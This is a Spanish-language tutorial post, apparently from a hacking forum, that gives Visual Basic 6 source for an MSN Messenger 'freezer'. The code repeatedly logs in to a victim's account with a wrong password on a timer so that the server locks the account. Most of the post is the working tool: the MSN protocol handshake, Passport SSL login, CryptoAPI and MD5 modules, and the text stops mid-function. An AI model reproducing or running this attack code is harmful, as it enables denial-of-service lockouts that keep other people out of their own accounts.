Hola a todos, en este post hablaremos sobre la manera de crear un congelador tipo ice cold o iceberg, esta es mi maner,no se realmente si los dos programas antes mencionados utilizan este metodo, pero a mi me sirve asi.asi q empezaremos por lo basico ya que muchos buscan el codigo del ice cold.aqui veremos algo parecido.
Necesitaremos poner en un form lo siguiemte:
- 1 textbox llamado text1
- 1 textbox llamado text2(propiedad visible=false)
- 1 command button(Command1)
- 1 statusbar (statusbar1)
- 4 controles winsock[llamados:(Client;http;SSL;switchboard)respectivamente]
'# lo que vamos a hacer es utilizar el protocolo de conexion de MSN asociado a un
'#timer para generar un ciclo que envie peticiones de conexion con un usuario real
'#pero con una password errónea,lo que hara que el servidor bloque el inicio de sesion
'#de esa cuenta temporalmente.
Private Sub Form_Load()
Me.Caption = "FreeZer ::Tunick::"
Dim n As Long
For n = 1 To 1024
Load Switchboard(n)
Next n
For n = 1 To 10
Load http(n)
Load Client(n)
Next n
End SubEste es el evento load, en breve posteo lo demas.
Aqui les va el resto del code, recuerden agregar dentro de este codigo el evento load q vimos anteriormente:
Option Explicit
Dim Buffer(10) As String, hBuffer(10) As String, HTTP_Header As String, Auth_Challenge As String
Dim Auth_Login As String, Ticket As String, curIndex As Integer
Dim C As Long
Private Sub Client_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Packet As String, tmp() As String, n As Long
Client(index).GetData Packet
Buffer(index) = Buffer(index) & Packet
tmp = Split(Buffer(index), vbCrLf)
For n = 0 To UBound(tmp) - 1
Handle index, tmp(n)
Buffer(index) = Replace$(Buffer(index), tmp(n) & vbCrLf, "")
Next n
End Sub
Private Sub Client_Error(index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Debug.Print "Error: "; index; Description
Client(index).Close
End Sub
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Sub Handle(index As Integer, ByVal Packet As String)
Debug.Print "hnd: "; index, Packet
Dim pType As String, tmp() As String, tmp1() As String
pType = Mid(Packet, 1, 3)
Select Case pType
Case "VER"
AddStatus Me, "Estableciendo Version"
MsnSend index, "CVR 2 0x0409 winnt 5.1 i386 MSNMSGR 7.0.0816 MSMSGS " & Username
Case "CVR"
MsnSend index, "USR 3 TWN I " & Username
Case "XFR"
tmp = Split(Packet, " ")
Client(index).Close
tmp1 = Split(tmp(3), ":")
Client(index + 1).Close
Client(index + 1).Connect tmp1(0), tmp1(1)
Case "USR"
tmp = Split(Packet, " ")
Select Case tmp(2)
Case "TWN"
AddStatus Me, "Autorizando..."
Auth_Challenge = tmp(4)
Debug.Print Auth_Challenge
HTTP_Header = "GET https://nexus.passport.com/rdr/pprdr.asp" & vbCrLf
SSL.Close
SSL.Connect "nexus.passport.com", 443
curIndex = index
Case "OK"
Me.Caption = tmp(3) & " [" & tmp(4) & "]"
MsnSend index, "SYN 8 6"
End Select
Case "SYN"
tmp = Split(Packet, " ")
ContactCount = tmp(3)
Case "MSG"
Case "RNG"
tmp = Split(Packet, " ")
'RNG 14422 207.46.4.198:1863 CKI 1128549075.11374 tel@xxzcxc.net tel
SB_Connect tmp(2), tmp(1), tmp(5), tmp(4)
Case "CHL"
tmp = Split(Packet, " ")
Client(index).SendData "QRY 1049 msmsgs@msnmsgr.com 32" & vbCrLf & CalculateMD5(tmp(2) & "Q1P7W2E4J9R8U3S5")
Case Else
End Select
End Sub
Sub SB_Connect(ByVal Address As String, ByVal SessionID As String, ByVal Caller As String, ByVal Challenge As String)
Dim tmp() As String, n As Long
tmp = Split(Address, ":")
For n = 0 To Switchboard.UBound - 1
If Switchboard(n).State = sckClosed Then
Switchboard(n).Connect tmp(0), tmp(1)
RNG(n).Caller = Caller
RNG(n).Challenge = Challenge
RNG(n).SessionID = SessionID
Exit For
End If
Next n
End Sub
Private Sub Form_Resize()
On Error Resume Next
StatusBar1.Width = ScaleWidth
StatusBar1.Panels(1).Width = ScaleWidth
End Sub
Private Sub Switchboard_Connect(index As Integer)
SB_Send index, "ANS 1 " & Username & " " & RNG(index).Challenge & " " & RNG(index).SessionID
End Sub
Sub SB_Send(index As Integer, ByVal Packet As String)
Switchboard(index).SendData Packet & vbCrLf
End Sub
Private Sub Switchboard_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Packet As String
Switchboard(index).GetData Packet
Debug.Print "SB: "; index; Packet
End Sub
Sub AddStatus(frm As Form, ByVal Msg As String)
frm.StatusBar1.Panels(1).Text = Msg
End Sub
Sub MsnSend(index As Integer, ByVal Packet As String)
Client(index).SendData Packet & vbCrLf
End Sub
Private Sub Form_Unload(Cancel As Integer)
Dim n As Long
For n = 0 To 10
If http(n).State <> sckClosed Then http(n).Close
If Client(n).State <> sckClosed Then Client(n).Close
Next n
End
End Sub
Private Sub Client_Connect(index As Integer)
MsnSend index, "VER 1 MSNP8 CVR0"
AddStatus Me, "Conectado al Servidor MSN"
End Sub
'--------------------------------- HTTP Socks --------------------------------'
Private Sub http_Connect(index As Integer)
httpSend index, HTTP_Header
End Sub
Private Sub http_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Packet As String, tmp() As String, n As Long
http(index).GetData Packet
Debug.Print "headers: "; Packet
hBuffer(index) = hBuffer(index) & Packet
If Right(hBuffer(index), 4) = vbCrLf & vbCrLf Then
tmp = Split(Buffer(index), vbCrLf)
For n = 0 To UBound(tmp) - 1
Headers index, tmp(n)
hBuffer(index) = ""
Next n
End If
End Sub
Sub httpSend(index As Integer, ByVal Packet As String)
http(index).SendData Packet
End Sub
Sub Headers(index As Integer, ByVal Packet As String)
Debug.Print index; Packet
End Sub
'------------------------------------- SSL Sockets ---------------------------------'
'SSLv2 for VB, coded by Jason K. Resch & Seth Taylor
Private Sub SSL_Close()
Me.Caption = "Freezando...."
SSL.Close
If Layer = 3 Then
Layer = 4
Call SSL_DataArrival(0)
End If
Layer = 0
Set SecureSession = Nothing
End Sub
Private Sub SSL_Connect()
Processing = False
Set SecureSession = New CryptoCls
Call SendClientHello(SSL)
End Sub
Private Sub SSL_DataArrival(ByVal bytesTotal As Long)
Dim TheData As String
Dim Response As String
Response = ""
' Buffer incoming data while connection is open or being opened
If Layer < 4 Then
Call SSL.GetData(TheData, vbString, bytesTotal)
DataBuffer = DataBuffer & TheData
End If
If Layer = 3 Then
' Download complete response before processing
Exit Sub
End If
'Parse each SSL Record
Do
If SeekLen = 0 Then
If Len(DataBuffer) >= 2 Then
TheData = GetBufferDataPart(2)
SeekLen = BytesToLen(TheData)
Else
Exit Sub
End If
End If
If Len(DataBuffer) >= SeekLen Then
TheData = GetBufferDataPart(SeekLen)
Else
Exit Sub
End If
Select Case Layer
Case 0:
ENCODED_CERT = Mid(TheData, 12, BytesToLen(Mid(TheData, 6, 2)))
CONNECTION_ID = Right(TheData, BytesToLen(Mid(TheData, 10, 2)))
Call IncrementRecv
Call SendMasterKey(SSL)
Case 1:
TheData = SecureSession.RC4_Decrypt(TheData)
If Right(TheData, Len(CHALLENGE_DATA)) = CHALLENGE_DATA Then
If VerifyMAC(TheData) Then
Call SendClientFinish(SSL)
Else
' SSL Error -- send SSL error to server
MsgBox ("SSL Error: Invalid MAC data ... aborting connection.")
SSL.Close
End If
Else
' SSL Error -- send SSL error to server
MsgBox ("SSL Error: Invalid Challenge data ... aborting connection.")
SSL.Close
End If
Case 2:
TheData = SecureSession.RC4_Decrypt(TheData)
If VerifyMAC(TheData) = False Then
' SSL Error -- send SSL error to server
MsgBox ("SSL Error: Invalid MAC data ... aborting connection.")
SSL.Close
End If
Layer = 3
DoEvents
SSLSend SSL, HTTP_Header & vbCrLf
Case 3:
' Do nothing while buffer is filled ... wait for connection to close
Case 4:
'SSLSend SSL, HTTP_Header & vbCrLf
TheData = SecureSession.RC4_Decrypt(TheData)
If VerifyMAC(TheData) Then
Response = Response & Mid(TheData, 17)
Else
' SSL Error -- data is corrupt and must be discarded
MsgBox ("SSL Error: Invalid MAC data ... Data discarded.")
Layer = 0
DataBuffer = ""
Response = ""
Exit Sub
End If
End Select
SeekLen = 0
Loop Until Len(DataBuffer) = 0
If Layer = 4 Then
Layer = 0
Handle_SSL Response
End If
' SSLSend SSL, HTTP_Header & vbCrLf
End Sub
Sub Handle_SSL(ByVal Packet As String)
Dim Headers() As String, Params() As String, Args() As String, n As Long, l As Long
Debug.Print Packet
Headers = Split(Packet, vbCrLf)
For n = 0 To UBound(Headers) - 2
If Headers(n) <> "" Then
Params = Split(Headers(n), ":")
Select Case Params(0)
Case "PassportURLs"
Args = Split(Params(1), ",")
Auth_Login = Mid(Args(1), 9)
Args = Split(Auth_Login, "/")
Debug.Print Auth_Login
HTTP_Header = "GET /" & Args(1) & " HTTP/1.1" & vbCrLf & _
"Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & Username & ",pwd=" & Password & "," & Auth_Challenge & vbCrLf & _
"Host: " & Args(0) & vbCrLf
SSL.Connect Args(0), 443
Case "Authentication-Info"
Args = Split(Params(1), ",")
For l = 0 To UBound(Args) - 1
If Mid(Args(l), 1, 9) = "from-PP='" Then
Ticket = Mid(Args(l), 10, Len(Mid(Args(l), 10)) - 1)
Exit For
End If
Next l
Debug.Print Ticket
MsnSend curIndex, "USR 4 TWN S " & Ticket
End Select
End If
Next n
End Sub
Function GetBufferDataPart(ByVal Length As Long) As String
Dim l As Long
l = Len(DataBuffer)
If Length > l Then
Length = l
GetBufferDataPart = Left(DataBuffer, l)
Else
GetBufferDataPart = Left(DataBuffer, Length)
End If
If Length = l Then
DataBuffer = ""
Else
DataBuffer = Mid(DataBuffer, Length + 1)
End If
End Function
Private Sub Timer1_Timer()
Text2.Text = Val(Text2.Text) + Val("1")
If Text2.Text = "15" Then
Timer1.Enabled = False
MsgBox "Cuenta Congelada", vbInformation, "VB Freezer"
Me.Caption = "Freezada jejej"
End If
Username = Text1
Password = "Fucked by Tengu ..::FireB0y::.." 'aca pones cualquier password
Client(0).Connect "messenger.hotmail.com", 1863
End Sub
PD: recuerden que todo esto mas el form_load van en el form al cual llamaremos FormL
en un modulo de clase llamado cryptocls agregamos este code:
Option Explicit 'Declare All Variables
'CryptoAPI Functions
Private Declare Function CryptAcquireContext Lib "advapi32.dll" Alias "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As String, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptReleaseContext Lib "advapi32.dll" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptCreateHash Lib "advapi32.dll" (ByVal hProv As Long, ByVal Algid As Long, ByVal hSessionKey As Long, ByVal dwFlags As Long, ByRef phHash As Long) As Long
Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptGetHashParam Lib "advapi32.dll" (ByVal hHash As Long, ByVal dwParam As Long, ByVal pbData As String, ByRef pdwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptDestroyHash Lib "advapi32.dll" (ByVal hHash As Long) As Long
Private Declare Function CryptDeriveKey Lib "advapi32.dll" (ByVal hProv As Long, ByVal Algid As Long, ByVal hBaseData As Long, ByVal dwFlags As Long, ByRef hSessionKey As Long) As Long
Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hSessionKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long, ByVal dwBufLen As Long) As Long
Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hSessionKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long) As Long
Private Declare Function CryptDestroyKey Lib "advapi32.dll" (ByVal hSessionKey As Long) As Long
Private Declare Function CryptImportKey Lib "advapi32.dll" (ByVal hProv As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal hPubKey As Long, ByVal dwFlags As Long, ByRef phKey As Long) As Long
Private Declare Function CryptExportKey Lib "advapi32.dll" (ByVal hSessionKey As Long, ByVal hExpKey As Long, ByVal dwBlobType As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long) As Long
Private Declare Function CryptGenRandom Lib "advapi32.dll" (ByVal hProv As Long, ByVal dwLen As Long, ByVal pbBuffer As String) As Long
'CryptoAPI Constants
Private Const SERVICE_PROVIDER As String = "Microsoft Enhanced Cryptographic Provider v1.0" & vbNullChar
Private Const KEY_CONTAINER As String = "GCN SSL Container" & vbNullChar
Private Const PROV_RSA_FULL As Long = 1
Private Const CRYPT_NEWKEYSET As Long = 8
Private Const CRYPT_EXPORTABLE As Long = 1
Private Const CALG_MD5 As Long = 32771
Private Const CALG_RC4 As Long = 26625
Private Const HP_HASHVAL As Long = 2
Private Const SIMPLEBLOB As Long = 1
Private Const GEN_KEY_BITS As Long = &H800000
'Class Variables
Dim hCryptProv As Long
Dim hClientWriteKey As Long
Dim hClientReadKey As Long
Dim hMasterKey As Long
Dim lngType As Long
Public Function ExportKeyBlob(ByRef StrMasterKey As String, ByRef StrReadKey As String, ByRef StrWriteKey As String, ByVal StrChallenge As String, ByVal StrConnectionID As String, ByVal StrPublicKey As String) As String
'Create Keys and Return PKCS Block
Dim lngReturnValue As Long
Dim lngLength As Long
Dim rgbBlob As String
Dim hPublicKey As Long
Call CreateKey(hMasterKey, StrMasterKey)
StrMasterKey = MD5_Hash(StrMasterKey)
Call CreateKey(hClientReadKey, StrMasterKey & "0" & StrChallenge & StrConnectionID)
Call CreateKey(hClientWriteKey, StrMasterKey & "1" & StrChallenge & StrConnectionID)
StrReadKey = MD5_Hash(StrMasterKey & "0" & StrChallenge & StrConnectionID)
StrWriteKey = MD5_Hash(StrMasterKey & "1" & StrChallenge & StrConnectionID)
lngReturnValue = CryptImportKey(hCryptProv, StrPublicKey, Len(StrPublicKey), 0, 0, hPublicKey)
lngReturnValue = CryptExportKey(hMasterKey, hPublicKey, SIMPLEBLOB, 0, vbNull, lngLength)
rgbBlob = String(lngLength, 0)
lngReturnValue = CryptExportKey(hMasterKey, hPublicKey, SIMPLEBLOB, 0, rgbBlob, lngLength)
If hPublicKey <> 0 Then CryptDestroyKey hPublicKey
If hMasterKey <> 0 Then CryptDestroyKey hMasterKey
ExportKeyBlob = ReverseString(Right(rgbBlob, 128))
End Function
Public Sub CreateKey(ByRef KeyName As Long, ByVal HashData As String)
'Create a Session Key from a Hash
Dim lngParams As Long
Dim lngReturnValue As Long
Dim lngHashLen As Long
Dim hHash As Long
lngReturnValue = CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash)
If lngReturnValue = 0 Then Err.Raise Err.LastDllError, , "Could not create a Hash Object (CryptCreateHash API)"
lngReturnValue = CryptHashData(hHash, HashData, Len(HashData), 0)
If lngReturnValue = 0 Then Err.Raise Err.LastDllError, , "Could not calculate a Hash Value (CryptHashData API)"
lngParams = GEN_KEY_BITS Or CRYPT_EXPORTABLE
lngReturnValue = CryptDeriveKey(hCryptProv, CALG_RC4, hHash, lngParams, KeyName)
If lngReturnValue = 0 Then Err.Raise Err.LastDllError, , "Could not create a session key (CryptDeriveKey API)"
If hHash <> 0 Then CryptDestroyHash hHash
End Sub
Function RC4_Encrypt(ByVal Plaintext As String) As String
'Encrypt with Client Write Key
Dim lngLength As Long
Dim lngReturnValue As Long
lngLength = Len(Plaintext)
lngReturnValue = CryptEncrypt(hClientWriteKey, 0, False, 0, Plaintext, lngLength, lngLength)
RC4_Encrypt = Plaintext
End Function
Function RC4_Decrypt(ByVal Ciphertext As String) As String
'Decrypt with Client Read Key
Dim lngLength As Long
Dim lngReturnValue As Long
lngLength = Len(Ciphertext)
lngReturnValue = CryptDecrypt(hClientReadKey, 0, False, 0, Ciphertext, lngLength)
RC4_Decrypt = Ciphertext
End Function
Private Sub Class_Initialize()
On Error Resume Next
Dim lngReturnValue As Long
Dim TheAnswer As Long
lngReturnValue = CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) 'try to make a new key container
If lngReturnValue = 0 Then
lngReturnValue = CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, 0) 'try to get a handle to a key container that already exists, and if it fails...
If lngReturnValue = 0 Then TheAnswer = MsgBox("GCN has detected that you do not have the required High Encryption Pack installed." & vbCrLf & "Would like to download this pack from Microsoft's website?", 16 + vbYesNo)
End If
If TheAnswer = vbYes Then
Call Shell("START http://www.microsoft.com/windows/ie/downloads/recommended/128bit/default.asp", vbHide)
FormL.SSL.Close
End If
If TheAnswer = vbNo Then
FormL.SSL.Close
End If
End Sub
Private Sub Class_Terminate()
'Free up Memory
If hClientWriteKey <> 0 Then CryptDestroyKey hClientWriteKey
If hClientReadKey <> 0 Then CryptDestroyKey hClientReadKey
If hCryptProv <> 0 Then CryptReleaseContext hCryptProv, 0
End Sub
Public Function GenerateRandomBytes(ByVal Length As Long, ByRef TheString As String) As Boolean
'Generate Random Bytes
Dim i As Integer
Randomize
TheString = ""
For i = 1 To Length
TheString = TheString & Chr(Int(Rnd * 256))
Next
GenerateRandomBytes = CryptGenRandom(hCryptProv, Length, TheString)
End Function
Public Function MD5_Hash(ByVal TheString As String) As String
'Digest a String using MD5
Dim lngReturnValue As Long
Dim strHash As String
Dim hHash As Long
Dim lngHashLen As Long
lngReturnValue = CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash)
lngReturnValue = CryptHashData(hHash, TheString, Len(TheString), 0)
lngReturnValue = CryptGetHashParam(hHash, HP_HASHVAL, vbNull, lngHashLen, 0)
strHash = String(lngHashLen, vbNullChar)
lngReturnValue = CryptGetHashParam(hHash, HP_HASHVAL, strHash, lngHashLen, 0)
If hHash <> 0 Then CryptDestroyHash hHash
MD5_Hash = strHash
End Function
en un modulo bas llamado basMD5 agregamos:
Option Explicit
Private lngTrack As Long
Private arrLongConversion(4) As Long
Private arrSplit64(63) As Byte
Private Const OFFSET_4 As Double = 4294967296#
Private Const MAXINT_4 As Long = 2147483647
Private Const S11 As Long = 7
Private Const S12 As Long = 12
Private Const S13 As Long = 17
Private Const S14 As Long = 22
Private Const S21 As Long = 5
Private Const S22 As Long = 9
Private Const S23 As Long = 14
Private Const S24 As Long = 20
Private Const S31 As Long = 4
Private Const S32 As Long = 11
Private Const S33 As Long = 16
Private Const S34 As Long = 23
Private Const S41 As Long = 6
Private Const S42 As Long = 10
Private Const S43 As Long = 15
Private Const S44 As Long = 21
Private Function MD5Round(strRound As String, a As Long, b As Long, C As Long, d As Long, X As Long, S As Long, ac As Long) As Long
Select Case strRound
Case Is = "FF"
a = MD5LongAdd4(a, (b And C) Or (Not (b) And d), X, ac)
a = MD5Rotate(a, S)
a = MD5LongAdd(a, b)
Case Is = "GG"
a = MD5LongAdd4(a, (b And d) Or (C And Not (d)), X, ac)
a = MD5Rotate(a, S)
a = MD5LongAdd(a, b)
Case Is = "HH"
a = MD5LongAdd4(a, b Xor C Xor d, X, ac)
a = MD5Rotate(a, S)
a = MD5LongAdd(a, b)
Case Is = "II"
a = MD5LongAdd4(a, C Xor (b Or Not (d)), X, ac)
a = MD5Rotate(a, S)
a = MD5LongAdd(a, b)
End Select
End Function
Private Function MD5Rotate(lngValue As Long, lngBits As Long) As Long
Dim lngSign As Long
Dim lngI As Long
lngBits = (lngBits Mod 32)
If lngBits = 0 Then MD5Rotate = lngValue: Exit Function
For lngI = 1 To lngBits
lngSign = lngValue And &HC0000000
lngValue = (lngValue And &H3FFFFFFF) * 2
lngValue = lngValue Or ((lngSign < 0) And 1) Or (CBool(lngSign And &H40000000) And &H80000000)
Next
MD5Rotate = lngValue
End Function
Private Function TRID() As String
Dim sngNum As Single, lngnum As Long
Dim strResult As String
sngNum = Rnd(2147483648#)
strResult = CStr(sngNum)
strResult = Replace(strResult, "0.", "")
strResult = Replace(strResult, ".", "")
strResult = Replace(strResult, "E-", "")
TRID = strResult
End Function
Private Function MD564Split(lngLength As Long, bytBuffer() As Byte) As String
Dim lngBytesTotal As Long, lngBytesToAdd As Long
Dim intLoop As Long, intLoop2 As Long, lngTrace As Long
Dim intInnerLoop As Long, intLoop3 As Long
lngBytesTotal = lngTrack Mod 64
lngBytesToAdd = 64 - lngBytesTotal
lngTrack = (lngTrack + lngLength)
If lngLength >= lngBytesToAdd Then
For intLoop = 0 To lngBytesToAdd - 1
arrSplit64(lngBytesTotal + intLoop) = bytBuffer(intLoop)
Next intLoop
MD5Conversion arrSplit64
lngTrace = (lngLength) Mod 64
For intLoop2 = lngBytesToAdd To lngLength - intLoop - lngTrace Step 64
For intInnerLoop = 0 To 63
arrSplit64(intInnerLoop) = bytBuffer(intLoop2 + intInnerLoop)
Next intInnerLoop
MD5Conversion arrSplit64
Next intLoop2
lngBytesTotal = 0
Else
intLoop2 = 0
End If
For intLoop3 = 0 To lngLength - intLoop2 - 1
arrSplit64(lngBytesTotal + intLoop3) = bytBuffer(intLoop2 + intLoop3)
Next intLoop3
End Function
Private Function MD5StringArray(strInput As String) As Byte()
Dim intLoop As Integer
Dim bytBuffer() As Byte
ReDim bytBuffer(Len(strInput))
For intLoop = 0 To Len(strInput) - 1
bytBuffer(intLoop) = Asc(Mid(strInput, intLoop + 1, 1))
Next intLoop
MD5StringArray = bytBuffer
End Function
Private Sub MD5Conversion(bytBuffer() As Byte)
Dim X(16) As Long, a As Long
Dim b As Long, C As Long
Dim d As Long
a = arrLongConversion(1)
b = arrLongConversion(2)
C = arrLongConversion(3)
d = arrLongConversion(4)
MD5Decode 64, X, bytBuffer
MD5Round "FF", a, b, C, d, X(0), S11, -680876936
MD5Round "FF", d, a, b, C, X(1), S12, -389564586
MD5Round "FF", C, d, a, b, X(2), S13, 606105819
MD5Round "FF", b, C, d, a, X(3), S14, -1044525330
MD5Round "FF", a, b, C, d, X(4), S11, -176418897
MD5Round "FF", d, a, b, C, X(5), S12, 1200080426
MD5Round "FF", C, d, a, b, X(6), S13, -1473231341
MD5Round "FF", b, C, d, a, X(7), S14, -45705983
MD5Round "FF", a, b, C, d, X(8), S11, 1770035416
MD5Round "FF", d, a, b, C, X(9), S12, -1958414417
MD5Round "FF", C, d, a, b, X(10), S13, -42063
MD5Round "FF", b, C, d, a, X(11), S14, -1990404162
MD5Round "FF", a, b, C, d, X(12), S11, 1804603682
MD5Round "FF", d, a, b, C, X(13), S12, -40341101
MD5Round "FF", C, d, a, b, X(14), S13, -1502002290
MD5Round "FF", b, C, d, a, X(15), S14, 1236535329
MD5Round "GG", a, b, C, d, X(1), S21, -165796510
MD5Round "GG", d, a, b, C, X(6), S22, -1069501632
MD5Round "GG", C, d, a, b, X(11), S23, 643717713
MD5Round "GG", b, C, d, a, X(0), S24, -373897302
MD5Round "GG", a, b, C, d, X(5), S21, -701558691
MD5Round "GG", d, a, b, C, X(10), S22, 38016083
MD5Round "GG", C, d, a, b, X(15), S23, -660478335
MD5Round "GG", b, C, d, a, X(4), S24, -405537848
MD5Round "GG", a, b, C, d, X(9), S21, 568446438
MD5Round "GG", d, a, b, C, X(14), S22, -1019803690
MD5Round "GG", C, d, a, b, X(3), S23, -187363961
MD5Round "GG", b, C, d, a, X(8), S24, 1163531501
MD5Round "GG", a, b, C, d, X(13), S21, -1444681467
MD5Round "GG", d, a, b, C, X(2), S22, -51403784
MD5Round "GG", C, d, a, b, X(7), S23, 1735328473
MD5Round "GG", b, C, d, a, X(12), S24, -1926607734
MD5Round "HH", a, b, C, d, X(5), S31, -378558
MD5Round "HH", d, a, b, C, X(8), S32, -2022574463
MD5Round "HH", C, d, a, b, X(11), S33, 1839030562
MD5Round "HH", b, C, d, a, X(14), S34, -35309556
MD5Round "HH", a, b, C, d, X(1), S31, -1530992060
MD5Round "HH", d, a, b, C, X(4), S32, 1272893353
MD5Round "HH", C, d, a, b, X(7), S33, -155497632
MD5Round "HH", b, C, d, a, X(10), S34, -1094730640
MD5Round "HH", a, b, C, d, X(13), S31, 681279174
MD5Round "HH", d, a, b, C, X(0), S32, -358537222
MD5Round "HH", C, d, a, b, X(3), S33, -722521979
MD5Round "HH", b, C, d, a, X(6), S34, 76029189
MD5Round "HH", a, b, C, d, X(9), S31, -640364487
MD5Round "HH", d, a, b, C, X(12), S32, -421815835
MD5Round "HH", C, d, a, b, X(15), S33, 530742520
MD5Round "HH", b, C, d, a, X(2), S34, -995338651
MD5Round "II", a, b, C, d, X(0), S41, -198630844
MD5Round "II", d, a, b, C, X(7), S42, 1126891415
MD5Round "II", C, d, a, b, X(14), S43, -1416354905
MD5Round "II", b, C, d, a, X(5), S44, -57434055
MD5Round "II", a, b, C, d, X(12), S41, 1700485571
MD5Round "II", d, a, b, C, X(3), S42, -1894986606
MD5Round "II", C, d, a, b, X(10), S43, -1051523
MD5Round "II", b, C, d, a, X(1), S44, -2054922799
MD5Round "II", a, b, C, d, X(8), S41, 1873313359
MD5Round "II", d, a, b, C, X(15), S42, -30611744
MD5Round "II", C, d, a, b, X(6), S43, -1560198380
MD5Round "II", b, C, d, a, X(13), S44, 1309151649
MD5Round "II", a, b, C, d, X(4), S41, -145523070
MD5Round "II", d, a, b, C, X(11), S42, -1120210379
MD5Round "II", C, d, a, b, X(2), S43, 718787259
MD5Round "II", b, C, d, a, X(9), S44, -343485551
arrLongConversion(1) = MD5LongAdd(arrLongConversion(1), a)
arrLongConversion(2) = MD5LongAdd(arrLongConversion(2), b)
arrLongConversion(3) = MD5LongAdd(arrLongConversion(3), C)
arrLongConversion(4) = MD5LongAdd(arrLongConversion(4), d)
End Sub
Private Function MD5LongAdd(lngVal1 As Long, lngVal2 As Long) As Long
Dim lngHighWord As Long
Dim lngLowWord As Long
Dim lngOverflow As Long
lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&)
lngOverflow = lngLowWord \ 65536
lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&
MD5LongAdd = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))
End Function
Private Function MD5LongAdd4(lngVal1 As Long, lngVal2 As Long, lngVal3 As Long, lngVal4 As Long) As Long
Dim lngHighWord As Long
Dim lngLowWord As Long
Dim lngOverflow As Long
lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&) + (lngVal3 And &HFFFF&) + (lngVal4 And &HFFFF&)
lngOverflow = lngLowWord \ 65536
lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + ((lngVal3 And &HFFFF0000) \ 65536) + ((lngVal4 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&
MD5LongAdd4 = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))
End Function
Private Sub MD5Decode(intLength As Integer, lngOutBuffer() As Long, bytInBuffer() As Byte)
Dim intDblIndex As Integer
Dim intByteIndex As Integer
Dim dblSum As Double
intDblIndex = 0
For intByteIndex = 0 To intLength - 1 Step 4
dblSum = bytInBuffer(intByteIndex) + bytInBuffer(intByteIndex + 1) * 256# + bytInBuffer(intByteIndex + 2) * 65536# + bytInBuffer(intByteIndex + 3) * 16777216#
lngOutBuffer(intDblIndex) = MD5LongConversion(dblSum)
intDblIndex = (intDblIndex + 1)
Next intByteIndex
End Sub
Private Function MD5LongConversion(dblValue As Double) As Long
If dblValue < 0 Or dblValue >= OFFSET_4 Then Error 6
If dblValue <= MAXINT_4 Then
MD5LongConversion = dblValue
Else
MD5LongConversion = dblValue - OFFSET_4
End If
End Function
Private Sub MD5Finish()
Dim dblBits As Double
Dim arrPadding(72) As Byte
Dim lngBytesBuffered As Long
arrPadding(0) = &H80
dblBits = lngTrack * 8
lngBytesBuffered = lngTrack Mod 64
If lngBytesBuffered <= 56 Then
MD564Split (56 - lngBytesBuffered), arrPadding
Else
MD564Split (120 - lngTrack), arrPadding
End If
arrPadding(0) = MD5LongConversion(dblBits) And &HFF&
arrPadding(1) = MD5LongConversion(dblBits) \ 256 And &HFF&
arrPadding(2) = MD5LongConversion(dblBits) \ 65536 And &HFF&
arrPadding(3) = MD5LongConversion(dblBits) \ 16777216 And &HFF&
arrPadding(4) = 0
arrPadding(5) = 0
arrPadding(6) = 0
arrPadding(7) = 0
MD564Split 8, arrPadding
End Sub
Private Function MD5StringChange(lngnum As Long) As String
Dim bytA As Byte
Dim bytB As Byte
Dim bytC As Byte
Dim bytD As Byte
bytA = lngnum And &HFF&
If bytA < 16 Then
MD5StringChange = "0" & Hex(bytA)
Else
MD5StringChange = Hex(bytA)
End If
bytB = (lngnum And &HFF00&) \ 256
If bytB < 16 Then
MD5StringChange = MD5StringChange & "0" & Hex(bytB)
Else
MD5StringChange = MD5StringChange & Hex(bytB)
End If
bytC = (lngnum And &HFF0000) \ 65536
If bytC < 16 Then
MD5StringChange = MD5StringChange & "0" & Hex(bytC)
Else
MD5StringChange = MD5StringChange & Hex(bytC)
End If
If lngnum < 0 Then
bytD = ((lngnum And &H7F000000) \ 16777216) Or &H80&
Else
bytD = (lngnum And &HFF000000) \ 16777216
End If
If bytD < 16 Then
MD5StringChange = MD5StringChange & "0" & Hex(bytD)
Else
MD5StringChange = MD5StringChange & Hex(bytD)
End If
End Function
Private Function MD5Value() As String
MD5Value = LCase(MD5StringChange(arrLongConversion(1)) & MD5StringChange(arrLongConversion(2)) & MD5StringChange(arrLongConversion(3)) & MD5StringChange(arrLongConversion(4)))
End Function
Public Function CalculateMD5(strMessage As String) As String
Dim bytBuffer() As Byte
